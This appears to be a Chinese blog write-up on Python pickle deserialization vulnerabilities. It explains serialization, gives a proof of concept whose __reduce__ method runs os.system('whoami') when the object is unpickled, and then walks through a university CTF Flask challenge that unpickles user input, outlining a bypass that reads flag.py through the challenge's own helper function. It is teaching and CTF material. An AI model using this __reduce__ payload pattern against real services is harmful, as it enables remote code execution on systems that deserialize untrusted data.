Python反序列化小記
0x00 介紹序列化
序列化:
在數(shù)據(jù)儲存與傳送的部分是指將一個對象存儲至一個儲存媒介,例如檔案或是記億體緩沖等,或者透過網(wǎng)絡傳送資料時進行編碼的過程,可以是字節(jié)或是XML等格式。而字節(jié)的或XML編碼格式可以還原完全相等的對象。這程序被應用在不同應用程序之間傳送對象,以及服務器將對象儲存到檔案或數(shù)據(jù)庫。相反的過程又稱為反序列化。
以上是wiki百科對于序列化的解釋,較為晦澀,通俗解釋為我們把變量從內存中變成可存儲或傳輸?shù)倪^程稱之為序列化。在python中稱為pickling,在php中稱為serialization。
反序列化:
將序列化的內容重新讀到內存里稱之為反序列化,即為unpickling
0x01 python實現(xiàn)序列化與反序列化
Python有兩個模塊可以實現(xiàn)序列化,分別是cPickle和pickle,兩個模塊的差異這里不做討論。
這里代碼演示將一個類進行序列化,使用的cPickle.dumps函數(shù),該方法將obj對象序列化并返回一個str對象。(這里是python2.7版本)
反序列化則調用的是loads方法,將一個str對象反序列化并返回一個對象。
import cPickle
class Person:
def __init__(self,username,password):
self.username = username
self.password = password
admin = Person('admin','admin')
print '序列化:\n' + cPickle.dumps(admin)
0x02 python的反序列化漏洞
python的反序列化漏洞遠比php嚴重得多,會造成命令執(zhí)行,原因在于pickle并不是一個完善安全的模塊。
這里關鍵在于reduce 魔術方法,這個魔術方法在反序列化的時候會完全改變被序列化的對象。這個方法返回一個字符串或者元組來描述當反序列化的時候該如何重構。進而造成命令執(zhí)行,下面是驗證示例。
# -*-coding:utf-8-*-
import cPickle
import os
class Person(object):
def __init__(self,username,password):
self.username = username
self.password = password
def __reduce__(self):
return (os.system, ('whoami',))
admin = Person('admin','admin')
print '序列化: \n' + cPickle.dumps(admin)
d=cPickle.dumps(admin)
print '命令執(zhí)行結果:\n'
cPickle.loads(d)
所以當某個網(wǎng)站對我們輸入的數(shù)據(jù)進行了反序列化時,就有可能造成RCE.
0x03 反序列化中的CTF
題目代碼如下(題目來源是中國科技大學第四屆信息安全大賽,地址:http://hack.lug.ustc.edu.cn/),flag在flag.py文件當中:
#!/usr/bin/python3
import base64
import pickle
from flask import Flask, request
from handies import file_contents, safe_unpickle
import flag
app = Flask(__name__)
class Credential:
"If the user wants the flag, he or she must have a credential."
def __init__(self, username: str, password: str):
self.username = username
self.password = password
def __hash__(self):
return hash(self.username) ^ hash(self.password)
def __str__(self):
raise NotImplemented()
class CredentialProxy:
"A credential proxy is an authorized credential, with its own flag."
def __init__(self, username: str, password: str, flag: str):
self.username = username
self.password = password
self.flag = flag
def flag(self):
return self.flag
def __str__(self):
return "wtf, the proxy is not supported??"
@app.route('/')
def index():
apple = request.args.get('credential')
if apple:
try:
banana = base64.b64decode(apple)
# Good safe_unpickle can prevent 99% attacks!
orange = safe_unpickle(banana)
# if the orange is a credential, try it
if isinstance(orange, Credential):
flag.try_login(orange)
return flag.flag
# TODO: no proxy support
# Time is limited, so this feature is delayed
# return the orange to confuse the user! :-)
else:
return str(orange)
except pickle.UnpicklingError as e:
return str(e)
except:
return 'Wrong user or password'
else:
return "
" + file_contents('app.py') + "
"
app.run(host="0.0.0.0", port=8888, threaded=True)
解題思路:
這里調用了pickle這個不安全的模塊,思路應該是RCE這一塊。但是safe_unpickle這個方法并非pickle模塊自帶,應該是自己編寫的。用來防止RCE?
看我接下來的幾個payload來看他過濾。
這里我調用了兩個模塊,但是都是提示非法的??ㄔ谶@了,我覺得題目應該用的白名單,但是用的是哪個模塊呢?
最后強大的戰(zhàn)隊隊友告訴了我答案!一張圖就知道了。
我們利用題目自身編寫的handies和file_contents函數(shù)來讀取flag.py文件。
如圖中指出來的兩個地方,我們要自己編寫一個file_contents函數(shù)來調用,還有就是把main這個模塊替換成handies,'main'也被過濾了。